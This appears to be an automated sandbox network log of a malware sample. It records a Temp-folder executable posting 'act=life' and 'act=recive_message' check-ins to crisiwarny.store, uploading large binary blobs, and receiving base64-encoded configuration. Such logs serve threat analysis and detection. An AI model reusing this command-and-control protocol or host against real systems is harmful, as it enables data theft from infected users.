aHQ&i*B_:k[3;x2L8Imu6~`)p<\|<Q<1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-8e
2024-10-26 03:55:41 UTC	15331	OUT	Data Raw: 58 65 41 d0 7e 60 42 36 54 f0 4d fe e2 98 7e 14 13 64 db cd c1 84 55 b6 86 b9 f3 5e ce 69 96 42 ca 47 8e e4 8b 61 de 63 9a a5 43 06 f2 7c ac e4 a4 2e 2d b5 4e a4 d4 4b 74 61 6a b5 14 de b6 06 e3 03 86 6b a9 26 dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 ec b1 21 a8 3b 6a 4b Data Ascii: XeA~`B6TM~dU^iBGacC\|.-NKtajk&F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp!;jK
2024-10-26 03:55:41 UTC	15331	OUT	Data Raw: f6 1b a2 4c a3 f2 43 1a cf 85 04 89 13 d3 22 2d 44 86 3b ae 73 17 55 80 ce f9 e4 2a ee d6 06 6e b9 ef d5 b1 db 1b 28 69 4c 33 7a 79 eb 59 2c 55 8c 5d 76 73 37 3d ca fa d3 b3 bd 9f d0 30 a3 72 c9 e5 c0 c6 8b 7e 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 e0 06 16 3f 31 8c 52 Data Ascii: LC"-D;sUn(iL3zyY,U]vs7=0r~#5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5+!y%~t?1R
2024-10-26 03:55:41 UTC	15331	OUT	Data Raw: af b6 6c 22 32 cb 30 95 0e 45 ca 7c ff 10 89 d9 b2 11 c4 1e 61 f0 6b 98 94 9b ec 33 dc 37 90 f3 aa a4 ec 73 ff 34 51 0e a2 2c 85 49 3d e3 a0 ff 17 15 2e d3 97 e7 bd b4 ed 69 84 79 be 8c 7c ed 02 98 4a 98 13 f2 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e 49 44 1e e6 33 a9 fa Data Ascii: l"20E\|ak37s4Q,I=.iy\|Jj~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7ID3
2024-10-26 03:55:41 UTC	15331	OUT	Data Raw: 8c 53 dc c7 7b 74 4b c7 fd 32 ea 9d 84 38 52 df 0b 1e b6 ce a3 67 9f a6 98 19 0e 4c 1c 8d d9 55 fd f7 fd 6e 0c 29 49 cd 54 8e fb 91 a8 1b 4c 8a 23 7d 7b 18 f5 fc b0 ac 28 70 6c 92 1b 8a d4 f9 fa 6d c9 32 bd a2 a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec 9c fa 99 20 77 dc 19 Data Ascii: S{tK28RgLUn)ITL#}{(plm2)sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R w
2024-10-26 03:55:41 UTC	15331	OUT	Data Raw: 9d 87 9c 1f b6 9e 83 c0 c8 01 ab 57 84 e5 81 0b de 7f 30 63 0a 6e ae 2c 85 5a f2 28 79 0c db fc bf 6b c7 fe e7 a8 d5 e9 ed f3 df 6e 54 93 d2 95 15 ff b4 8b 38 02 0c 9b c2 21 ec 28 2e 6a 72 c4 47 eb f9 c7 b1 78 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb 15 4a e5 ae db 4a cc Data Ascii: W0cn,Z(yknT8!(.jrGx;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;KduxJJ
2024-10-26 03:55:41 UTC	15331	OUT	Data Raw: df 76 86 43 6a 84 7d 1f b3 ac 04 26 74 35 04 dd a4 61 1d 75 35 2d ae 9c 9d 44 3e 5a da 5c d1 db fa 64 ab f6 cd 2f 0b 42 4a 82 8c 15 db 88 47 07 87 f3 17 0d 6c 7a b3 8b 3b da d1 6d 7f 0c 05 83 c0 23 28 c3 61 6f e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 67 b1 60 5e b8 2f fd Data Ascii: vCj}&t5au5-D>Z\d/BJGlz;m#(aobSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ayg`^/
2024-10-26 03:55:41 UTC	15331	OUT	Data Raw: ef 02 77 6c c9 a5 13 1c 27 7f 2d 73 f6 b5 36 0b 83 45 36 c2 0a 0c 3c c4 97 64 67 d3 74 70 64 93 d8 fe ff ff c4 84 33 80 d3 76 f4 03 b2 b8 73 a8 5d 86 a8 0e fd c8 1f ef 7c b7 2e 6b cb 4f 54 9b 13 34 05 80 04 56 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 2b c4 bd a1 3b b9 76 Data Ascii: wl'-s6E6<dgtpd3vs]\|.kOT4V=Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A+;v
2024-10-26 03:55:41 UTC	15331	OUT	Data Raw: fd a0 10 50 86 46 54 37 f7 8c 63 ce ed 70 72 23 4a 2e 35 c5 5b 44 23 de c2 e2 99 96 c2 95 64 11 d2 ae f5 9b 46 da 6b 0e ea 99 7c 91 ce 23 27 23 e8 2f 6f 4a 4e 98 5a 7e 8a e6 df e0 f3 21 a0 6b af a3 09 67 f8 af 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd 7a e4 85 20 dc 0b 18 Data Ascii: PFT7cpr#J.5[D#dFk\|#'#/oJNZ~!kgI:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TMz
2024-10-26 03:55:46 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7vgit207k819q59f4cd3558f7r; expires=Tue, 18 Feb 2025 21:42:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BsqAXeqTywJ9B0dtBeVSdpGtLUxYNWAtELtqKLrhCxScXsB4gLMb7gEIXE53FLlvDIhFA302WjT1NQUuYgkwNk%2Be17QqTDiTcUn9ghogL3fyirqbUPiWJuG8k2XT06F0DDdd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d878320f8b76b94-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1068&sent=209&recv=588&lost=0&retrans=0&sent_bytes=2837&recv_bytes=552391&delivery_rate=2616079&cwnd=239&unsent_bytes=0&cid=7072f7e2adc8e943&ts=4820&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49985	104.21.95.91	443	1340	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:42 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-26 03:55:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 03:55:42 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rlb1v7eqit4qauvp81a9pe0i44; expires=Tue, 18 Feb 2025 21:42:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tPcZu%2BxAGt8j82hRrB2U8rc2dsFqW4h%2FJIsWeQ1NJLOBwr3E%2FWEePhaFNfR5%2BCjHSn78JNpuPo88aKqnr7X%2BVmoX%2Fbpbq0w6Lb7EZ8WMU5I1oT4TEj39SR84BA5awLRdNzIz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d878324fced6c37-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1320&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=907&delivery_rate=1829437&cwnd=230&unsent_bytes=0&cid=f82f57c5034d8070&ts=588&x=0"
2024-10-26 03:55:42 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 03:55:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49994	104.21.95.91	443	1340	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:43 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-26 03:55:43 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-26 03:55:45 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=260nng5g0f46dedsu32eh20vr6; expires=Tue, 18 Feb 2025 21:42:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TtbXmZoUZMsLhkCOAt9yaMNyomABl9HlMhf1QSjXKZQZucyudBL46q%2BmArv3nVUkB3vzNJqeS0Vuu8BMZVVG8S%2FVPcQdIkzcQu%2BilKtWgoweU7uLM1cTVZCQk6fcNIEO7juA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d87832f29f5f170-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=192591&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=20534&cwnd=32&unsent_bytes=0&cid=360990bdd0d8a99c&ts=1810&x=0"
2024-10-26 03:55:45 UTC	362	IN	Data Raw: 63 63 62 0d 0a 37 2b 6f 68 6d 44 73 6d 59 43 31 2b 74 6d 69 4a 68 6a 35 6e 75 50 63 53 61 65 44 6c 4e 6e 72 63 6d 77 69 2f 4f 71 54 65 61 47 47 55 79 46 65 36 41 52 4a 4d 44 77 33 54 53 72 50 79 54 42 4c 64 32 7a 41 49 68 4d 63 4d 48 4c 33 33 65 39 6f 57 68 71 67 46 51 39 57 4d 51 50 52 49 51 30 77 50 47 38 35 4b 73 39 31 46 52 64 32 5a 4d 46 50 43 67 46 77 59 76 66 64 71 33 6c 48 4c 72 67 51 43 68 34 5a 47 38 46 35 46 42 45 77 53 32 77 33 73 34 31 38 4e 31 70 35 2f 41 59 33 48 47 6c 69 35 34 53 71 46 47 4f 6d 37 48 41 43 69 69 31 4c 7a 47 56 74 4d 56 6c 7a 54 42 71 75 38 48 41 62 64 6c 58 34 50 68 49 35 65 45 72 54 2f 61 39 74 51 31 4c 63 4f 43 59 65 49 52 66 46 55 54 42 42 42 47 4e 77 47 36 75 6c 66 52 5a 54 56 64 78 50 43 33 78 52 4c 6a 50 70 37 7a 45 Data Ascii: ccb7+ohmDsmYC1+tmiJhj5nuPcSaeDlNnrcmwi/OqTeaGGUyFe6ARJMDw3TSrPyTBLd2zAIhMcMHL33e9oWhqgFQ9WMQPRIQ0wPG85Ks91FRd2ZMFPCgFwYvfdq3lHLrgQCh4ZG8F5FBEwS2w3s418N1p5/AY3HGli54SqFGOm7HACii1LzGVtMVlzTBqu8HAbdlX4PhI5eErT/a9tQ1LcOCYeIRfFUTBBBGNwG6ulfRZTVdxPC3xRLjPp7zE
2024-10-26 03:55:45 UTC	1369	IN	Data Raw: 76 5a 58 44 4e 65 59 63 41 61 49 69 46 63 59 75 66 4e 67 30 6c 4c 43 73 51 63 46 6a 59 67 44 74 42 6c 44 47 67 39 45 6c 43 6e 75 39 46 73 4a 7a 4e 64 4b 53 35 33 4a 54 56 69 35 39 53 71 46 47 4d 36 35 43 51 43 47 68 30 44 79 55 6c 59 43 58 52 72 5a 44 2f 6e 69 57 51 76 51 6c 6d 49 42 6a 49 46 58 45 62 58 77 62 39 70 63 68 76 4a 4b 42 4a 58 49 47 37 70 34 53 51 6c 44 46 73 4d 4b 71 2f 73 53 48 4a 71 53 66 45 76 61 78 31 41 5a 75 76 68 75 30 31 62 43 73 41 77 4e 67 49 64 46 38 46 6c 44 43 45 63 55 31 51 66 67 36 31 77 41 31 35 46 32 42 34 4f 43 46 46 62 2b 2f 6e 4b 64 41 49 61 53 44 51 43 66 79 6e 62 35 56 30 6f 46 57 56 7a 4c 52 50 4b 6b 57 77 6d 61 7a 54 41 46 68 34 68 47 47 61 7a 38 5a 4d 39 55 77 37 6f 48 41 49 4f 49 52 76 31 55 53 67 52 49 48 39 77 4f Data Ascii: vZXDNeYcAaIiFcYufNg0lLCsQcFjYgDtBlDGg9ElCnu9FsJzNdKS53JTVi59SqFGM65CQCGh0DyUlYCXRrZD/niWQvQlmIBjIFXEbXwb9pchvJKBJXIG7p4SQlDFsMKq/sSHJqSfEvax1AZuvhu01bCsAwNgIdF8FlDCEcU1Qfg61wA15F2B4OCFFb+/nKdAIaSDQCfynb5V0oFWVzLRPKkWwmazTAFh4hGGaz8ZM9Uw7oHAIOIRv1USgRIH9wO
2024-10-26 03:55:45 UTC	1369	IN	Data Raw: 6d 61 7a 54 41 48 69 34 64 66 45 72 72 35 62 64 42 64 78 62 73 4a 44 6f 71 43 54 66 31 64 53 41 74 43 47 74 51 4e 37 2b 46 4f 41 4e 4f 5a 66 45 76 4d 78 31 4d 41 2f 71 45 71 38 6c 2f 51 76 79 55 41 6e 49 45 44 35 52 64 64 51 6b 67 51 6c 46 4b 72 34 31 6b 4e 30 5a 4e 34 43 35 43 43 57 68 4f 2f 38 32 7a 63 56 63 71 36 43 67 4b 4e 6a 6b 2f 36 58 6b 4d 51 58 52 6e 53 47 4f 47 6b 45 6b 58 64 6a 54 42 54 77 72 46 45 44 36 2f 76 4b 4f 68 62 79 4c 49 4e 46 63 32 58 44 65 4d 5a 51 77 34 50 52 4a 51 42 36 2b 68 62 44 64 79 52 65 41 53 4e 6a 6b 59 5a 73 76 64 34 32 6c 6a 50 73 67 55 50 68 49 56 45 39 31 4a 4f 44 30 73 62 31 55 71 6c 70 46 73 64 6d 73 30 77 50 5a 4b 4b 57 44 61 31 39 57 4f 64 52 34 69 6c 53 67 53 42 79 42 75 36 58 55 67 4b 52 52 50 64 41 4f 48 72 56 Data Ascii: mazTAHi4dfErr5bdBdxbsJDoqCTf1dSAtCGtQN7+FOANOZfEvMx1MA/qEq8l/QvyUAnIED5RddQkgQlFKr41kN0ZN4C5CCWhO/82zcVcq6CgKNjk/6XkMQXRnSGOGkEkXdjTBTwrFED6/vKOhbyLINFc2XDeMZQw4PRJQB6+hbDdyReASNjkYZsvd42ljPsgUPhIVE91JOD0sb1UqlpFsdms0wPZKKWDa19WOdR4ilSgSByBu6XUgKRRPdAOHrV
2024-10-26 03:55:45 UTC	182	IN	Data Raw: 77 52 63 4b 41 54 46 6a 6d 75 55 58 36 62 59 53 64 4d 45 4f 53 78 6c 71 36 58 6b 68 43 46 31 7a 59 43 65 66 73 55 77 50 54 6d 58 6f 43 69 59 74 66 48 4c 4c 77 62 39 74 5a 77 37 6b 4c 42 34 47 43 52 66 6c 61 53 77 31 41 46 4a 52 45 71 2b 4e 45 52 59 4c 56 56 52 79 4a 69 56 4a 59 6f 62 64 7a 6e 56 2f 4b 2f 46 4a 44 67 59 46 46 2f 46 78 49 41 30 6b 55 30 51 4c 76 35 56 6f 44 32 5a 70 30 44 6f 4f 49 55 42 53 77 38 32 76 63 56 4d 32 7a 41 51 62 4e 78 67 50 39 51 51 52 61 44 79 33 58 48 50 7a 30 55 45 58 46 32 32 6c 4c 68 59 73 55 51 50 37 0d 0a Data Ascii: wRcKATFjmuUX6bYSdMEOSxlq6XkhCF1zYCefsUwPTmXoCiYtfHLLwb9tZw7kLB4GCRflaSw1AFJREq+NERYLVVRyJiVJYobdznV/K/FJDgYFF/FxIA0kU0QLv5VoD2Zp0DoOIUBSw82vcVM2zAQbNxgP9QQRaDy3XHPz0UEXF22lLhYsUQP7
2024-10-26 03:55:45 UTC	1369	IN	Data Raw: 33 37 61 31 0d 0a 34 65 4e 64 53 79 4c 6b 46 42 6f 36 48 52 50 64 66 53 41 68 47 46 4e 49 46 34 76 5a 66 43 64 53 53 66 67 65 4d 69 6c 34 62 73 37 6b 6b 6e 56 2f 65 2f 46 4a 44 6f 59 39 4f 31 46 4a 49 42 51 38 44 6d 68 4f 72 34 31 42 46 67 74 56 38 41 59 36 4f 56 42 47 37 38 57 48 55 58 63 65 33 44 77 43 4c 68 55 7a 7a 53 30 34 42 51 52 2f 59 42 75 33 6c 58 78 66 53 6e 44 42 46 77 6f 42 4d 57 4f 61 35 53 39 4e 56 30 72 73 61 51 35 4c 47 57 72 70 65 53 45 49 58 58 4e 63 4c 35 4f 64 64 43 4e 79 63 65 41 75 45 67 6c 73 56 73 50 35 74 33 56 58 49 73 77 77 4c 67 49 52 49 39 46 42 43 41 6b 34 57 6c 45 53 72 34 30 52 46 67 74 56 41 43 49 4b 48 54 31 69 68 74 33 4f 64 58 38 72 38 55 6b 4f 66 67 6b 72 36 57 6b 73 46 53 78 66 59 44 2b 37 72 58 77 7a 66 6e 48 34 5a Data Ascii: 37a14eNdSyLkFBo6HRPdfSAhGFNIF4vZfCdSSfgeMil4bs7kknV/e/FJDoY9O1FJIBQ8DmhOr41BFgtV8AY6OVBG78WHUXce3DwCLhUzzS04BQR/YBu3lXxfSnDBFwoBMWOa5S9NV0rsaQ5LGWrpeSEIXXNcL5OddCNyceAuEglsVsP5t3VXIswwLgIRI9FBCAk4WlESr40RFgtVACIKHT1iht3OdX8r8UkOfgkr6WksFSxfYD+7rXwzfnH4Z
2024-10-26 03:55:45 UTC	1369	IN	Data Raw: 6a 6d 75 57 76 52 56 38 57 7a 43 51 43 4d 67 6c 48 6f 56 55 30 4b 53 68 44 66 42 4f 33 32 57 67 72 54 6c 6e 4d 43 68 59 39 59 45 72 33 2b 4b 70 4d 59 77 61 52 4b 57 38 32 72 56 4f 70 55 42 42 30 42 42 5a 51 4e 35 36 51 45 52 64 4b 59 65 41 47 47 67 46 6b 66 75 50 42 34 31 46 33 49 76 41 34 49 67 6f 35 48 2b 56 6c 57 42 45 73 55 31 77 66 6d 36 6c 38 42 6d 74 73 77 44 4a 72 48 44 46 69 4d 39 47 54 47 56 38 47 74 41 45 4f 53 78 6c 71 36 58 6b 68 43 46 31 7a 51 42 50 6e 76 58 51 37 52 6d 33 63 45 68 34 31 55 46 37 72 36 5a 4e 5a 5a 78 62 51 48 44 6f 4f 43 53 76 4e 65 53 41 5a 49 58 4a 70 4b 37 50 77 63 58 5a 71 2b 55 53 61 75 67 45 35 59 6f 62 64 7a 6e 56 2f 4b 2f 46 4a 44 67 59 46 50 38 46 4a 44 43 45 45 56 32 67 48 35 39 6c 38 42 32 5a 78 7a 44 49 75 4a 56 Data Ascii: jmuWvRV8WzCQCMglHoVU0KShDfBO32WgrTlnMChY9YEr3+KpMYwaRKW82rVOpUBB0BBZQN56QERdKYeAGGgFkfuPB41F3IvA4Igo5H+VlWBEsU1wfm6l8BmtswDJrHDFiM9GTGV8GtAEOSxlq6XkhCF1zQBPnvXQ7Rm3cEh41UF7r6ZNZZxbQHDoOCSvNeSAZIXJpK7PwcXZq+USaugE5YobdznV/K/FJDgYFP8FJDCEEV2gH59l8B2ZxzDIuJV
2024-10-26 03:55:45 UTC	1369	IN	Data Raw: 6b 6e 56 2f 65 2f 46 4a 44 6f 49 52 45 30 31 35 66 51 6c 42 53 7a 55 72 73 36 42 78 64 6d 70 52 37 41 59 32 4b 56 78 36 39 38 6d 2f 58 57 63 47 30 42 78 47 4f 68 30 7a 2b 57 55 73 45 53 52 33 62 44 4f 7a 74 58 51 33 64 31 54 35 4c 68 5a 38 55 51 50 37 58 62 64 35 63 68 71 4e 45 47 73 32 50 54 37 6f 42 42 41 4a 46 46 74 34 45 36 2b 4e 4f 41 39 4f 56 63 78 6d 42 67 56 77 65 73 76 56 6e 31 56 48 47 75 51 45 4f 68 6f 56 46 2b 6c 4a 46 51 67 46 63 30 78 4b 72 76 42 77 30 31 35 74 30 42 59 47 58 55 31 69 68 74 33 4f 64 58 38 72 38 55 6b 4f 43 67 56 48 39 58 45 77 4c 54 78 4c 64 41 2b 7a 67 58 77 54 65 6d 58 38 43 67 59 39 56 45 4c 48 36 61 74 5a 51 7a 4c 30 45 42 73 33 47 41 2f 31 42 42 46 6f 50 4d 39 63 50 34 4f 55 65 49 74 79 53 66 45 75 64 79 55 31 59 75 66 Data Ascii: knV/e/FJDoIRE015fQlBSzUrs6BxdmpR7AY2KVx698m/XWcG0BxGOh0z+WUsESR3bDOztXQ3d1T5LhZ8UQP7Xbd5chqNEGs2PT7oBBAJFFt4E6+NOA9OVcxmBgVwesvVn1VHGuQEOhoVF+lJFQgFc0xKrvBw015t0BYGXU1iht3OdX8r8UkOCgVH9XEwLTxLdA+zgXwTemX8CgY9VELH6atZQzL0EBs3GA/1BBFoPM9cP4OUeItySfEudyU1Yuf
